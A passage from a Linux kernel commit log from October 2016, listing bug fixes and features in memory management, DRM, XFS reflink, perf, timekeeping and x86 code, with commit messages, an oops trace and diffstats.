Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds mm/filemap.c | 1 - 1 file changed, 1 deletion(-) commit d3798ae8c6f3767c726403c2ca6ecc317752c9dd Author: Johannes Weiner Date: Tue Oct 4 22:02:08 2016 +0200 mm: filemap: don't plant shadow entries without radix tree node When the underflow checks were added to workingset_node_shadow_dec(), they triggered immediately: kernel BUG at ./include/linux/swap.h:276! invalid opcode: 0000 [#1] SMP Modules linked in: isofs usb_storage fuse xt_CHECKSUM ipt_MASQUERADE nf_nat_masquerade_ipv4 tun nf_conntrack_netbios_ns nf_conntrack_broadcast ip6t_REJECT nf_reject_ipv6 soundcore wmi acpi_als pinctrl_sunrisepoint kfifo_buf tpm_tis industrialio acpi_pad pinctrl_intel tpm_tis_core tpm nfsd auth_rpcgss nfs_acl lockd grace sunrpc dm_crypt CPU: 0 PID: 20929 Comm: blkid Not tainted 4.8.0-rc8-00087-gbe67d60ba944 #1 Hardware name: System manufacturer System Product Name/Z170-K, BIOS 1803 05/06/2016 task: ffff8faa93ecd940 task.stack: ffff8faa7f478000 RIP: page_cache_tree_insert+0xf1/0x100 Call Trace: __add_to_page_cache_locked+0x12e/0x270 add_to_page_cache_lru+0x4e/0xe0 mpage_readpages+0x112/0x1d0 blkdev_readpages+0x1d/0x20 __do_page_cache_readahead+0x1ad/0x290 force_page_cache_readahead+0xaa/0x100 page_cache_sync_readahead+0x3f/0x50 generic_file_read_iter+0x5af/0x740 blkdev_read_iter+0x35/0x40 __vfs_read+0xe1/0x130 vfs_read+0x96/0x130 SyS_read+0x55/0xc0 entry_SYSCALL_64_fastpath+0x13/0x8f Code: 03 00 48 8b 5d d8 65 48 33 1c 25 28 00 00 00 44 89 e8 75 19 48 83 c4 18 5b 41 5c 41 5d 41 5e 5d c3 0f 0b 41 bd ef ff ff ff eb d7 <0f> 0b e8 88 68 ef ff 0f 1f 84 00 RIP page_cache_tree_insert+0xf1/0x100 This is a long-standing bug in the way shadow entries are accounted in the radix tree nodes. The shrinker needs to know when radix tree nodes contain only shadow entries, no pages, so node->count is split in half to count shadows in the upper bits and pages in the lower bits. Unfortunately, the radix tree implementation doesn't know of this and assumes all entries are in node->count. When there is a shadow entry directly in root->rnode and the tree is later extended, the radix tree implementation will copy that entry into the new node and and bump its node->count, i.e. increases the page count bits. Once the shadow gets removed and we subtract from the upper counter, node->count underflows and triggers the warning. Afterwards, without node->count reaching 0 again, the radix tree node is leaked. Limit shadow entries to when we have actual radix tree nodes and can count them properly. That means we lose the ability to detect refaults from files that had only the first page faulted in at eviction time. Fixes: 449dd6984d0e ("mm: keep page cache radix tree nodes in check") Signed-off-by: Johannes Weiner Reported-and-tested-by: Linus Torvalds Reviewed-by: Jan Kara Cc: Andrew Morton Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds include/linux/radix-tree.h | 6 +++--- lib/radix-tree.c | 14 +++----------- mm/filemap.c | 46 ++++++++++++++++++++++++++++++---------------- 3 files changed, 36 insertions(+), 30 deletions(-) commit f38b7c2547537a8219d273e20eb3b88e6fc6b764 Author: Wei Yongjun Date: Wed Sep 28 14:38:36 2016 +0000 wlcore: sdio: drop kfree for memory allocated with devm_kzalloc It's not necessary to free memory allocated with devm_kzalloc and using kfree leads to a double free. Fixes: d776fc86b82f ("wlcore: sdio: Populate config firmware data") Signed-off-by: Wei Yongjun Acked-by: Tony Lindgren Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/sdio.c | 1 - 1 file changed, 1 deletion(-) commit 9b7396624a7b503220d85428654634b60762f2b0 Author: zijun_hu Date: Wed Oct 5 21:30:24 2016 +0800 mm/percpu.c: fix potential memory leakage for pcpu_embed_first_chunk() in order to ensure the percpu group areas within a chunk aren't distributed too sparsely, pcpu_embed_first_chunk() goes to error handling path when a chunk spans over 3/4 VMALLOC area, however, during the error handling, it forget to free the memory allocated for all percpu groups by going to label @out_free other than @out_free_areas. it will cause memory leakage issue if the rare scene really happens, in order to fix the issue, we check chunk spanned area immediately after completing memory allocation for all percpu groups, we go to label @out_free_areas to free the memory then return if the checking is failed. in order to verify the approach, we dump all memory allocated then enforce the jump then dump all memory freed, the result is okay after checking whether we free all memory we allocate in this function. BTW, The approach is chosen after thinking over the below scenes - we don't go to label @out_free directly to fix this issue since we maybe free several allocated memory blocks twice - the aim of jumping after pcpu_setup_first_chunk() is bypassing free usable memory other than handling error, moreover, the function does not return error code in any case, it either panics due to BUG_ON() or return 0. Signed-off-by: zijun_hu Tested-by: zijun_hu Signed-off-by: Tejun Heo mm/percpu.c | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit 93c76b6b2faaad7bfbc0cda840763aa4819ef26e Author: zijun_hu Date: Wed Oct 5 21:19:11 2016 +0800 mm/percpu.c: correct max_distance calculation for pcpu_embed_first_chunk() pcpu_embed_first_chunk() calculates the range a percpu chunk spans into @max_distance and uses it to ensure that a chunk is not too big compared to the total vmalloc area. However, during calculation, it used incorrect top address by adding a unit size to the highest group's base address. This can make the calculated max_distance slightly smaller than the actual distance although given the scale of values involved the error is very unlikely to have an actual impact. Fix this issue by adding the group's size instead of a unit size. BTW, The type of variable max_distance is changed from size_t to unsigned long too based on below consideration: - type unsigned long usually have same width with IP core registers and can be applied at here very well - make @max_distance type consistent with the operand calculated against it such as @ai->groups[i].base_offset and macro VMALLOC_TOTAL - type unsigned long is more universal then size_t, size_t is type defined to unsigned int or unsigned long among various ARCHs usually Signed-off-by: zijun_hu Signed-off-by: Tejun Heo mm/percpu.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a130347973c408c0e0017a52c74cbc3226c1f0ef Author: Namhyung Kim Date: Sat Oct 1 19:17:00 2016 +0900 tools lib traceevent: Fix kbuffer_read_at_offset() When it's called with an offset less than or equal to the first event, it'll return a garbage value since the data is not initialized. Signed-off-by: Namhyung Kim Acked-by: Steven Rostedt Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/20161001101700.29146-1-namhyung@kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/lib/traceevent/kbuffer-parse.c | 1 + 1 file changed, 1 insertion(+) commit 58bfea9532552d422bde7afa207e1a0f08dffa7d Author: John Stultz Date: Tue Oct 4 19:55:48 2016 -0700 timekeeping: Fix __ktime_get_fast_ns() regression In commit 27727df240c7 ("Avoid taking lock in NMI path with CONFIG_DEBUG_TIMEKEEPING"), I changed the logic to open-code the timekeeping_get_ns() function, but I forgot to include the unit conversion from cycles to nanoseconds, breaking the function's output, which impacts users like perf. This results in bogus perf timestamps like: swapper 0 [000] 253.427536: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.426573: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.426687: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.426800: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.426905: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.427022: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.427127: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.427239: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.427346: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 254.427463: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 255.426572: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) Instead of more reasonable expected timestamps like: swapper 0 [000] 39.953768: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.064839: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.175956: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.287103: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.398217: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.509324: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.620437: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.731546: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.842654: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 40.953772: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) swapper 0 [000] 41.064881: 111111111 cpu-clock: ffffffff810a0de6 native_safe_halt+0x6 ([kernel.kallsyms]) Add the proper use of timekeeping_delta_to_ns() to convert the cycle delta to nanoseconds as needed. Thanks to Brendan and Alexei for finding this quickly after the v4.8 release. Unfortunately the problematic commit has landed in some -stable trees so they'll need this fix as well. Many apologies for this mistake. I'll be looking to add a perf-clock sanity test to the kselftest timers tests soon. Fixes: 27727df240c7 "timekeeping: Avoid taking lock in NMI path with CONFIG_DEBUG_TIMEKEEPING" Reported-by: Brendan Gregg Reported-by: Alexei Starovoitov Tested-and-reviewed-by: Mathieu Desnoyers Signed-off-by: John Stultz Cc: Peter Zijlstra Cc: stable Cc: Steven Rostedt Link: http://lkml.kernel.org/r/1475636148-26539-1-git-send-email-john.stultz@linaro.org Signed-off-by: Thomas Gleixner kernel/time/timekeeping.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit a4fce9cb782ad340ee5576a38e934e5e75832dc6 Author: Chris Wilson Date: Wed Oct 5 13:21:44 2016 +0100 drm/prime: Take a ref on the drm_dev when exporting a dma_buf dma_buf may live a long time, longer than the last direct user of the driver. We already hold a reference to the owner module (that prevents the object code from disappearing), but there is no reference to the drm_dev - so the pointers to the driver backend themselves may vanish. v2: Resist temptation to fix the bug in armada_gem.c not setting the correct flags on the exported dma-buf (it should pass the flags through and not be arbitrarily setting O_RDWR). Use a common wrapper for exporting the dmabuf and acquiring the reference to the drm_device. Testcase: igt/vgem_basic/unload Suggested-by: Daniel Vetter Signed-off-by: Chris Wilson Cc: Petri Latvala Cc: Daniel Vetter Cc: stable@vger.kernel.org Tested-by: Petri Latvala Reviewed-by: Christian König Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161005122145.1507-2-chris@chris-wilson.co.uk drivers/gpu/drm/armada/armada_gem.c | 2 +- drivers/gpu/drm/drm_prime.c | 30 +++++++++++++++++++++++++++++- drivers/gpu/drm/i915/i915_gem_dmabuf.c | 2 +- drivers/gpu/drm/tegra/gem.c | 2 +- drivers/gpu/drm/udl/udl_dmabuf.c | 2 +- include/drm/drmP.h | 4 ++++ 6 files changed, 37 insertions(+), 5 deletions(-) commit 56a76c0123d6cb034975901c80fce2627338ef9e Author: Chris Wilson Date: Wed Oct 5 13:21:43 2016 +0100 drm/prime: Pass the right module owner through to dma_buf_export() dma_buf_export() adds a reference to the owning module to the dmabuf (to prevent the driver from being unloaded whilst a third party still refers to the dmabuf). However, drm_gem_prime_export() was passing its own THIS_MODULE (i.e. drm.ko) rather than the driver. Extract the right owner from the device->fops instead. v2: Use C99 initializers to zero out unset elements of dma_buf_export_info v3: Extract the right module from dev->fops. Testcase: igt/vgem_basic/unload Reported-by: Petri Latvala Signed-off-by: Chris Wilson Cc: Petri Latvala Cc: Christian König Cc: stable@vger.kernel.org Tested-by: Petri Latvala Reviewed-by: Petri Latvala Reviewed-by: Christian König Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161005122145.1507-1-chris@chris-wilson.co.uk drivers/gpu/drm/drm_prime.c | 17 ++++++++++------- include/drm/drmP.h | 3 ++- 2 files changed, 12 insertions(+), 8 deletions(-) commit bf3b123e3d946dc110020814106ad84a36898d3a Author: Marek Vasut Date: Wed Oct 5 00:23:31 2016 +0200 drm/bridge: Call drm_connector_cleanup directly Remove the unnecessary wrapper functions around drm_connector_cleanup(). Signed-off-by: Marek Vasut Cc: Daniel Vetter Reviewed-by: Gustavo Padovan Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161004222331.7200-1-marex@denx.de drivers/gpu/drm/bridge/analogix-anx78xx.c | 7 +------ drivers/gpu/drm/bridge/nxp-ptn3460.c | 7 +------ drivers/gpu/drm/bridge/parade-ps8622.c | 7 +------ 3 files changed, 3 insertions(+), 18 deletions(-) commit 7d83a155f0c4bf86bd6dfced1768c0a34add8f1b Author: Marek Vasut Date: Sun Oct 2 19:01:24 2016 +0200 drm: simple_kms_helper: Add prepare_fb and cleanup_fb hooks Add .prepare_fb and .cleanup_fb plane hooks into the drm_simple_kms. These can be used by drivers to call ie. the drm_fb_cma_setup_fence() helper. Signed-off-by: Marek Vasut Cc: Noralf Trønnes Cc: Daniel Vetter Cc: David Airlie Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20161002170124.6099-1-marex@denx.de drivers/gpu/drm/drm_simple_kms_helper.c | 26 ++++++++++++++++++++++++++ include/drm/drm_simple_kms_helper.h | 20 ++++++++++++++++++++ 2 files changed, 46 insertions(+) commit 587680c1c52d73bc7d5dbba2dcfadacb7a3f6b0e Author: Christophe JAILLET Date: Sun Oct 2 08:01:22 2016 +0200 drm: Release resources with a safer function We should use 'ida_simple_remove()' instead of 'ida_remove()' when freeing resources allocated with 'ida_simple_get()'. This as been spotted with the following coccinelle script which tries to detect missing 'ida_simple_remove()' call in error handling paths. /////////////// @@ expression x; identifier l; @@ * x = ida_simple_get(...); ... if (...) { ... } ... if (...) { ... goto l; } ... * l: ... when != ida_simple_remove(...); Signed-off-by: Christophe JAILLET Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1475388082-12656-1-git-send-email-christophe.jaillet@wanadoo.fr drivers/gpu/drm/drm_connector.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 87e5fc99b0280b492724cc7f2d8d9ad37b980087 Author: Sergei Shtylyov Date: Fri Sep 30 00:25:29 2016 +0300 DT: irqchip: renesas-irqc: document R8A7743/5 support Renesas RZ/G SoC have the R-Car gen2 compatible IRQC interrupt controllers. Document RZ/G1[ME] (also known as R8A774[35]) SoC bindings. Signed-off-by: Sergei Shtylyov Acked-by: Geert Uytterhoeven Signed-off-by: Rob Herring .../devicetree/bindings/interrupt-controller/renesas,irqc.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit e94f0044c9d2aabcd9c78762e6692c2307eff013 Author: Marek Vasut Date: Wed Sep 28 01:33:18 2016 +0200 dt-bindings: Add Keith&Koep vendor prefix Add vendor prefix for Keith&Koep GmbH , http://keith-koep.com/en/ Signed-off-by: Marek Vasut Cc: Fabio Estevam Cc: Shawn Guo [robh: fix alphabetizing] Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 3bccbe20f6d188ce7b00326e776b745cfd35b10a Author: Adrian Hunter Date: Wed Sep 28 14:41:36 2016 +0300 perf intel-pt: Fix MTC timestamp calculation for large MTC periods The MTC packet provides a 8-bit slice of CTC which is related to TSC by the TMA packet, however the TMA packet only provides the lower 16 bits of CTC. If mtc_shift > 8 then some of the MTC bits are not in the CTC provided by the TMA packet. Fix-up the last_mtc calculated from the TMA packet by copying the missing bits from the current MTC assuming the least difference between the two, and that the current MTC comes after last_mtc. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: stable@vger.kernel.org # v4.3+ Link: http://lkml.kernel.org/r/1475062896-22274-2-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo .../perf/util/intel-pt-decoder/intel-pt-decoder.c | 36 ++++++++++++++++++++++ 1 file changed, 36 insertions(+) commit 51ee6481fa8e879cc942bcc1b0af713e158b7a98 Author: Adrian Hunter Date: Wed Sep 28 14:41:35 2016 +0300 perf intel-pt: Fix estimated timestamps for cycle-accurate mode In cycle-accurate mode, timestamps can be calculated from CYC packets. The decoder also estimates timestamps based on the number of instructions since the last timestamp. For that to work in cycle-accurate mode, the instruction count needs to be reset to zero when a timestamp is calculated from a CYC packet, but that wasn't happening, so fix it. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: stable@vger.kernel.org # v4.3+ Link: http://lkml.kernel.org/r/1475062896-22274-1-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/intel-pt-decoder/intel-pt-decoder.c | 2 ++ 1 file changed, 2 insertions(+) commit a1d9972e59e15538458c030affbfc298c32a47f8 Author: Ravi Bangoria Date: Tue Oct 4 15:57:45 2016 +0530 perf uretprobe ppc64le: Fix probe location Perf uretprobe probes on GEP(Global Entry Point) which fails to record all function calls via LEP(Local Entry Point). Fix that by probing on LEP. Objdump: 00000000100005f0 : 100005f0: 02 10 40 3c lis r2,4098 100005f4: 00 7f 42 38 addi r2,r2,32512 100005f8: a6 02 08 7c mflr r0 100005fc: 10 00 01 f8 std r0,16(r1) 10000600: f8 ff e1 fb std r31,-8(r1) Before applying patch: $ cat /sys/kernel/debug/tracing/uprobe_events r:probe_uprobe_test/doit /home/ravi/uprobe_test:0x00000000000005f0 After applying patch: $ cat /sys/kernel/debug/tracing/uprobe_events r:probe_uprobe_test/doit /home/ravi/uprobe_test:0x00000000000005f8 This is not the case with kretprobes because the kernel itself finds LEP and probes on it. Signed-off-by: Ravi Bangoria Cc: Alexander Shishkin Cc: Balbir Singh Cc: Masami Hiramatsu Cc: Naveen N. Rao Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1475576865-6562-1-git-send-email-ravi.bangoria@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/arch/powerpc/util/sym-handling.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 65543b3353e7d29d258aac4190cda6a2f49abeb3 Author: Julia Lawall Date: Sat Oct 1 21:46:31 2016 +0200 irqchip/metag-ext: Improve function-level documentation Drop the variable irq which ceased to be a parameter. Issue detected using Coccinelle (http://coccinelle.lip6.fr/) Fixes: bd0b9ac405e1 ("genirq: Remove irq argument from irq flow handlers"). Signed-off-by: Julia Lawall Acked-by: James Hogan Cc: Jason Cooper Cc: Marc Zyngier Cc: kernel-janitors@vger.kernel.org Cc: linux-metag@vger.kernel.org Link: http://lkml.kernel.org/r/1475351192-27079-15-git-send-email-Julia.Lawall@lip6.fr Signed-off-by: Thomas Gleixner drivers/irqchip/irq-metag-ext.c | 1 - 1 file changed, 1 deletion(-) commit 0ff4deee9cbb60b541f1b6abf53e32812cfa42ca Author: Julia Lawall Date: Sat Oct 1 21:46:30 2016 +0200 irqchip/vic: Improve function-level documentation The associated function, vic_init_cascaded, has never had a variable irq_start. Issue detected using Coccinelle (http://coccinelle.lip6.fr/) Signed-off-by: Julia Lawall Cc: Marc Zyngier Cc: kernel-janitors@vger.kernel.org Cc: Jason Cooper Link: http://lkml.kernel.org/r/1475351192-27079-14-git-send-email-Julia.Lawall@lip6.fr Signed-off-by: Thomas Gleixner drivers/irqchip/irq-vic.c | 1 - 1 file changed, 1 deletion(-) commit b91688f528fe96e09d17e6d87c1b2805eb0c445e Author: Renat Valiullin Date: Tue Oct 4 13:11:48 2016 -0700 x86/vmware: Skip lapic calibration on VMware In a virtualized environment the APIC timer calibration can go wrong when the host is overcommitted or the guest is running nested. This results in the APIC timers operating at an incorrect frequency. Since VMware supports a mechanism to retrieve the local APIC frequency we can ask the hypervisor for it and skip the APIC calibration loop. Signed-off-by: Renat Valiullin Acked-by: Alok N Kataria Cc: virtualization@lists.linux-foundation.org Link: http://lkml.kernel.org/r/20161004201148.GA1421@uu64vm Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/vmware.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit 2df0e78b44e2cbbaa1e319cbca34f23599a4daa0 Author: sylvain.bertrand@gmail.com Date: Thu Sep 29 16:22:34 2016 +0000 x86/syscalls: Remove bash-isms in syscall table generator Signed-off-by: Sylvain BERTRAND Link: http://lkml.kernel.org/r/20160929162234.GA29592@freedom Signed-off-by: Thomas Gleixner arch/x86/entry/syscalls/syscalltbl.sh | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit 565fdc6a2afeb14e654a8d9ebc792afb9d2c0019 Author: Boris Ostrovsky Date: Sun Oct 2 18:45:19 2016 -0400 xen/x86: Initialize per_cpu(xen_vcpu, 0) a little earlier xen_cpuhp_setup() calls mutex_lock() which, when CONFIG_DEBUG_MUTEXES is defined, ends up calling xen_save_fl(). That routine expects per_cpu(xen_vcpu, 0) to be already initialized. Signed-off-by: Boris Ostrovsky Reported-by: Sander Eikelenboom Signed-off-by: David Vrabel arch/x86/xen/enlighten.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 6679dac513fd612f34d3a3d99d7b84ed6d5eb5cc Author: Dave Hansen Date: Tue Oct 4 09:38:57 2016 -0700 x86/pkeys: Update documentation There are a few items that have gotten stale in the protection keys documentation. The config option description only applied to the execute-only support and is not accurate for the current code. There was also a typo with the number of system calls. I also wanted to call out that pkey_set() is not a kernel-provided facility, and where to find an implementation. Signed-off-by: Dave Hansen Cc: Dave Hansen Cc: linux-doc@vger.kernel.org Cc: corbet@lwn.net Link: http://lkml.kernel.org/r/20161004163857.71E0D6F6@viggo.jf.intel.com Signed-off-by: Thomas Gleixner Documentation/x86/protection-keys.txt | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit ef4736678fc3ea426968bc82f907798ed5f51e85 Author: Darrick J. Wong Date: Mon Oct 3 09:11:34 2016 -0700 xfs: allocate delayed extents in CoW fork Modify the writepage handler to find and convert pending delalloc extents to real allocations. Furthermore, when we're doing non-cow writes to a part of a file that already has a CoW reservation (the cowextsz hint that we set up in a subsequent patch facilitates this), promote the write to copy-on-write so that the entire extent can get written out as a single extent on disk, thereby reducing post-CoW fragmentation. Christoph moved the CoW support code in _map_blocks to a separate helper function, refactored other functions, and reduced the number of CoW fork lookups, so I merged those changes here to reduce churn. Signed-off-by: Darrick J. Wong Signed-off-by: Christoph Hellwig fs/xfs/xfs_aops.c | 97 ++++++++++++++++++++++++++++++++++++++++++---------- fs/xfs/xfs_aops.h | 4 ++- fs/xfs/xfs_reflink.c | 84 +++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 4 +++ 4 files changed, 170 insertions(+), 19 deletions(-) commit 60b4984fc3924bff292ec46b95a3e98b34b8e259 Author: Darrick J. Wong Date: Mon Oct 3 09:11:34 2016 -0700 xfs: support allocating delayed extents in CoW fork Modify xfs_bmap_add_extent_delay_real() so that we can convert delayed allocation extents in the CoW fork to real allocations, and wire this up all the way back to xfs_iomap_write_allocate(). In a subsequent patch, we'll modify the writepage handler to call this. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 48 ++++++++++++++++++++++++++++++++---------------- fs/xfs/xfs_aops.c | 6 ++++-- fs/xfs/xfs_iomap.c | 7 ++++++- fs/xfs/xfs_iomap.h | 2 +- 4 files changed, 43 insertions(+), 20 deletions(-) commit 2a06705cd5954030a2c501a09ac1a24b1c4019c2 Author: Darrick J. Wong Date: Mon Oct 3 09:11:33 2016 -0700 xfs: create delalloc extents in CoW fork Wire up iomap_begin to detect shared extents and create delayed allocation extents in the CoW fork: 1) Check if we already have an extent in the COW fork for the area. If so nothing to do, we can move along. 2) Look up block number for the current extent, and if there is none it's not shared move along. 3) Unshare the current extent as far as we are going to write into it. For this we avoid an additional COW fork lookup and use the information we set aside in step 1) above. 4) Goto 1) unless we've covered the whole range. Last but not least, this updates the xfs_reflink_reserve_cow_range calling convention to pass a byte offset and length, as that is what both callers expect anyway. This patch has been refactored considerably as part of the iomap transition. Signed-off-by: Darrick J. Wong Signed-off-by: Christoph Hellwig fs/xfs/xfs_iomap.c | 12 ++- fs/xfs/xfs_reflink.c | 216 +++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 9 +++ 3 files changed, 235 insertions(+), 2 deletions(-) commit be51f8119c2f5e27437d2c4271f6419f3b8e609f Author: Darrick J. Wong Date: Mon Oct 3 09:11:32 2016 -0700 xfs: support bmapping delalloc extents in the CoW fork Allow the creation of delayed allocation extents in the CoW fork. In a subsequent patch we'll wire up iomap_begin to actually do this via reflink helper functions. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 12 ++++++++---- fs/xfs/libxfs/xfs_bmap.h | 7 ++++--- fs/xfs/xfs_iomap.c | 2 +- fs/xfs/xfs_trace.h | 6 +++--- 4 files changed, 16 insertions(+), 11 deletions(-) commit 3993baeb3c52f497d243a4a3b5510df97b22596b Author: Darrick J. Wong Date: Mon Oct 3 09:11:32 2016 -0700 xfs: introduce the CoW fork Introduce a new in-core fork for storing copy-on-write delalloc reservations and allocated extents that are in the process of being written out. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_bmap.c | 27 +++++++--- fs/xfs/libxfs/xfs_bmap.h | 22 ++++++-- fs/xfs/libxfs/xfs_bmap_btree.c | 1 + fs/xfs/libxfs/xfs_inode_fork.c | 47 +++++++++++++++-- fs/xfs/libxfs/xfs_inode_fork.h | 28 +++++++--- fs/xfs/libxfs/xfs_rmap.c | 15 +++--- fs/xfs/libxfs/xfs_types.h | 1 + fs/xfs/xfs_icache.c | 5 ++ fs/xfs/xfs_inode.h | 4 ++ fs/xfs/xfs_reflink.c | 114 +++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 23 +++++++++ fs/xfs/xfs_trace.h | 4 +- 13 files changed, 264 insertions(+), 28 deletions(-) commit 11715a21bc3035440b853a0334685f1a55ca8c3c Author: Darrick J. Wong Date: Mon Oct 3 09:11:31 2016 -0700 xfs: don't allow reflinked dir/dev/fifo/socket/pipe files Only non-rt files can be reflinked, so check that when we load an inode. Also, don't leak the attr fork if there's a failure. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_inode_fork.c | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) commit f0ec1b8ef11df0a51954df7e3ff3ca4aadb0d34b Author: Darrick J. Wong Date: Mon Oct 3 09:11:30 2016 -0700 xfs: add reflink feature flag to geometry Report the reflink feature in the XFS geometry so that xfs_info and friends know the filesystem has this feature. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_fs.h | 3 ++- fs/xfs/xfs_fsops.c | 4 +++- 2 files changed, 5 insertions(+), 2 deletions(-) commit 53aa1c34f4ebc0eed76a9c5fd56dc6fd0414d395 Author: Darrick J. Wong Date: Mon Oct 3 09:11:30 2016 -0700 xfs: define tracepoints for reflink activities Define all the tracepoints we need to inspect the runtime operation of reflink/dedupe/copy-on-write. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/xfs_trace.h | 333 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 333 insertions(+) commit 4453593be6c54e7581467e80f4a2757be098a3a2 Author: Darrick J. Wong Date: Mon Oct 3 09:11:29 2016 -0700 xfs: return work remaining at the end of a bunmapi operation Return the range of file blocks that bunmapi didn't free. This hint is used by CoW and reflink to figure out what part of an extent actually got freed so that it can set up the appropriate atomic remapping of just the freed range. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 36 ++++++++++++++++++++++++++++++------ fs/xfs/libxfs/xfs_bmap.h | 4 ++++ 2 files changed, 34 insertions(+), 6 deletions(-) commit c84750906b4818d4929fbf73a4ae6c113b94f52b Author: Justin Maggard Date: Tue Oct 4 13:17:58 2016 -0700 async_pq_val: fix DMA memory leak Add missing dmaengine_unmap_put(), so we don't OOM during RAID6 sync. Fixes: 1786b943dad0 ("async_pq_val: convert to dmaengine_unmap_data") Signed-off-by: Justin Maggard Reviewed-by: Dan Williams Cc: Signed-off-by: Vinod Koul crypto/async_tx/async_pq.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 03a1eabc3f54469abd4f1784182851b2e29630cc Merge: 1ebf8b4 251d41c Author: David S. Miller Date: Tue Oct 4 20:28:10 2016 -0400 Merge branch 'mlxsw-fixes' Jiri Pirko says: ==================== mlxsw: Couple of fixes Couple of fixes from Yotam. ==================== Signed-off-by: David S. Miller commit 251d41c58b765f00d73b1b4230cad256e25f2735 Author: Yotam Gigi Date: Tue Oct 4 09:46:05 2016 +0200 mlxsw: switchx2: Fix misuse of hard_header_len In order to specify that the mlxsw switchx2 driver needs additional headroom for packets, there have been use of the hard_header_len field of the netdevice struct. This commit changes that to use needed_headroom instead, as this is the correct way to do that. Fixes: 31557f0f9755 ("mlxsw: Introduce Mellanox SwitchX-2 ASIC support") Signed-off-by: 